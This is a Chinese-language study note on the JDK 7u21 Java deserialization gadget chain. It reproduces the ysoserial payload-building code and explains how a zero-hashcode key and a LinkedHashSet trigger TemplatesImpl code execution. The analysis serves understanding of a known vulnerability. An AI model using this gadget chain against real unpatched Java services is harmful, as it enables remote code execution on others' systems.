JDK原生反序列化利用鏈7u21

  • 2021 年 9 月 27 日
  • 筆記

前言

JDK 7u21以前只粗略的掃過一眼，一看使用了AnnotationInvocationHandler，就以為還是和 CC1 一樣差不多的利用方式，但最近仔細看了下利用鏈發現事情並不簡單～

7u21 要求你能理解：

  • TemplatesImpl 代碼執行原理
  • 動態代理是什麼
  • AnnotationInvocationHandler 利用原理

其實7u21是對AnnotationInvocationHandler 的進一步挖掘。

調用鏈

  • HashSet.readObject()
  • map.put(k,v)。（k為代理對象）
  • k.equals(last_k) (last_k 為上一個put的元素)
  • k.equalImpl(). (觸發惡意invoker)
  • 反射執行 last_k.任意方法 (last_k 為惡意TemplatesImpl 即可代碼執行)

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簡單描述就是：

LinkedHashSet 在反序列化初始化時會將對象重新一個一個put進內部數據結構table中，如果put的兩個元素的key的hash一樣，則要進行進一步的判斷，要調用後放入元素的equal方法去對比前面元素的值，而如果這個後面元素的key恰好是一個經過AnnotationInvocationHandler包裝的Templates動態代理對象,則在進行put時候會分別調用 AnnotationInvocationHandler 的hashImpl和equlImpl，恰好因為hashImpl 的計算會最終調用到equlImpl，通過equlImpl中的var5.invoke() ，反射執行Templates 的newTransformer方法，進而導致代碼執行。

我們來看下yso的代碼：

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

最終的目標是要調用EvilTemples的newTransformer方法，在AnnotationInvocationHandler 中有個equalsImpl 方法：

 private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

拋開干擾代碼存在一個反射執行的方法：

Method[] var2 = this.getMemberMethods();
 for(int var4 = 0; var4 < var3; ++var4) {
     Method var5 = var2[var4];
     AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
     if (var9 != null)
     {
         ....
     }else{
          var8 = var5.invoke(var1);
     }

其中getMemberMethods 來自type的所有方法：

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那意思就是equalsImpl能夠觸發一個傳入對象x的惡意方法，有沒有存在一個這樣的對象呢，當然是有的，那就是 TemplatesImpl，TemplatesImpl.newTransformer()和getOutputProperties（） 都可以觸發惡意代碼執行，其中asOneOfUs判斷是不是動態代理的class，所以只要保證var1 不是動態代理就ok。

所以我們就需要把type設置為TemplatesImpl，var1 也為TemplatesImpl對象即可,var1也即hashset的舊元素，為了能觸發惡意invoker，所以hashset的第二個元素要為一個經過AnnotationInvocationHandler包裝的對象。

也就是：

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步驟很清晰，有了前面幾篇文章的基礎後沒必要再分析TemplatesImpl和AnnotationInvocationHandler利用過程了，重點看下以下幾個問題

疑問

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  1. 上圖為Hashset put的源碼，為了要執行euqals，就要保證map的兩個key hash一致，且兩個key不想等，key分別為templates和proxy，是兩個不同的對象，兩個hash是如何保持一致的？
  2. hash為0的字符串的作用是啥？
  3. 為什麼要用LinkedHashSet，直接用HashSet行不行？

1. 兩個不相等的對象如何保證hashset.hash（）後結果一致？

在7u21的反序列化執行載體hashset中，添加了兩個元素，一前一後分別是templates和proxy，雖然proxy對象是經過AnnotationInvocationHandler包裝的Templates 代理對象，但這兩個對象是不相等的，為了能執行後續步驟，讓流程執行到for循環下的if預計又必須保證兩個對象的hashcode一致才能進一步執行到euqals方法。

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如果只是普通的兩個Temples對象那必然是不相等的，但第二個元素proxy經過AnnotationInvocationHandler包裝的Templates對象，當proxy執行hashcode時，會直接執行handler.invoker函數：

image-20210927192702088

同時，判斷執行方法為hashcode則會跳轉到hashCodeImpl方法：

image-20210927192916023

跳轉到hashCodeImpl 時我們發現，關於proxy的hashcode計算已經和proxy本身沒有關係了，私有變量memberValues是一個map對象，圖片中的1會進行迭代，取出其中元素key和value 分別調用hashcode()進行異或運算然後乘以127 得到最後prxoy的hashcode值。

所以為了讓prxoy和templates 的hashcode一致，我們只要 構造一個map，使其滿足：

127 * key.hashcode ^ value.hashcode === templates.hashcode

這裡順便解釋了：

hash為0的字符串的作用是啥？

那我們可以找到，因為對象的hashcode都是取的內存地址做一定的取整運算得到，所以如果硬湊兩個不相等對象做異或會很複雜，結果必然不固定，所以我們直接令 key.hashcode=0， 127*key.hashcode 也就為0，讓value 直接等於templates 即可讓 proxy的hashcode等於templates，而f5a5a608 的hashcode就為0，所以這個map為：

map.put("f5a5a608",templates)

這樣就滿足了對象不相等，但hashcode卻是一樣的結果，也就能進行到euqals方法觸發temples.newTransformer() 方法。

為什麼要用LinkedHashSet，直接用HashSet行不行？

LinkedHashSet內部的數據結構是基於hashmap，所以理論上HashSet、LinkedHashMap、hashmap都可以，但因為類似我上面講的歡迎，對於對象的hash值，是根據對象保持在內存中的地址取整得到的，所以就會存在一定的隨機性，不管是序列化還是反序列化都無法保證proxy做為第二個元素被添加進去，也就沒發保證euqal方法會觸發proxy的invoker，無法執行templates的可執行方法。

我自己也做過實驗，使用hashmap作為載體會存在偶然無法代碼執行的情況，所以為了保證穩定性可以使用帶順序的LinkedHashSet、或者LinkedHashmap，LinkedHashmap value設置為相同的內置基本類型即可。

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結語

由名字可知，jdk7u21 只能用於7u21以下的版本，因為在高版本中，在handler euqalmpl 中增加了對 傳入對象可執行方法對判斷，不能像過去一樣執行任意方法：

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